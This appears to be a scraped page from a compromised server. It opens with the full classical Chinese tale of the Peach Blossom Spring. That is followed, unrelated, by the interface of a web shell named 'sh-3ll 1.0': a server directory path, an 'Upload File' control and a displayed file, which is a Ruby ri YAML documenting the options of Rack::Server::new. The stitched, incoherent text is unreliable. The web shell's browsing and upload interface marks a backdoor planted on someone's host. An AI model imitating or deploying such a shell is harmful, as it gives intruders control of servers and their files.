晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/alt/ruby18/lib64/ruby/gems/1.8/doc/rack-1.6.1/ri/Rack/Server/
Upload File :
Current File : //opt/alt/ruby18/lib64/ruby/gems/1.8/doc/rack-1.6.1/ri/Rack/Server/new-c.yaml
--- !ruby/object:RI::MethodDescription 
aliases: []

block_params: 
comment: 
- !ruby/struct:SM::Flow::P 
  body: "Options may include:"
- !ruby/object:SM::Flow::LIST 
  contents: 
  - !ruby/struct:SM::Flow::LI 
    label: "*"
    body: ":app"
  - !ruby/struct:SM::Flow::VERB 
    body: "  a rack application to run (overrides :config)\n"
  - !ruby/struct:SM::Flow::LI 
    label: "*"
    body: ":config"
  - !ruby/struct:SM::Flow::VERB 
    body: "  a rackup configuration file path to load (.ru)\n"
  - !ruby/struct:SM::Flow::LI 
    label: "*"
    body: ":environment"
  - !ruby/struct:SM::Flow::VERB 
    body: "  this selects the middleware that will be wrapped around\n  your application. Default options available are:\n    - development: CommonLogger, ShowExceptions, and Lint\n    - deployment: CommonLogger\n    - none: no extra middleware\n  note: when the server is a cgi server, CommonLogger is not included.\n"
  - !ruby/struct:SM::Flow::LI 
    label: "*"
    body: ":server"
  - !ruby/struct:SM::Flow::VERB 
    body: "  choose a specific Rack::Handler, e.g. cgi, fcgi, webrick\n"
  - !ruby/struct:SM::Flow::LI 
    label: "*"
    body: ":daemonize"
  - !ruby/struct:SM::Flow::VERB 
    body: "  if true, the server will daemonize itself (fork, detach, etc)\n"
  - !ruby/struct:SM::Flow::LI 
    label: "*"
    body: ":pid"
  - !ruby/struct:SM::Flow::VERB 
    body: "  path to write a pid file after daemonize\n"
  - !ruby/struct:SM::Flow::LI 
    label: "*"
    body: ":Host"
  - !ruby/struct:SM::Flow::VERB 
    body: "  the host address to bind to (used by supporting Rack::Handler)\n"
  - !ruby/struct:SM::Flow::LI 
    label: "*"
    body: ":Port"
  - !ruby/struct:SM::Flow::VERB 
    body: "  the port to bind to (used by supporting Rack::Handler)\n"
  - !ruby/struct:SM::Flow::LI 
    label: "*"
    body: ":AccessLog"
  - !ruby/struct:SM::Flow::VERB 
    body: "  webrick access log options (or supporting Rack::Handler)\n"
  - !ruby/struct:SM::Flow::LI 
    label: "*"
    body: ":debug"
  - !ruby/struct:SM::Flow::VERB 
    body: "  turn on debug output ($DEBUG = true)\n"
  - !ruby/struct:SM::Flow::LI 
    label: "*"
    body: ":warn"
  - !ruby/struct:SM::Flow::VERB 
    body: "  turn on warnings ($-w = true)\n"
  - !ruby/struct:SM::Flow::LI 
    label: "*"
    body: ":include"
  - !ruby/struct:SM::Flow::VERB 
    body: "  add given paths to $LOAD_PATH\n"
  - !ruby/struct:SM::Flow::LI 
    label: "*"
    body: ":require"
  - !ruby/struct:SM::Flow::VERB 
    body: "  require the given libraries\n"
  type: :BULLET
full_name: Rack::Server::new
is_singleton: true
name: new
params: (options = nil)
visibility: public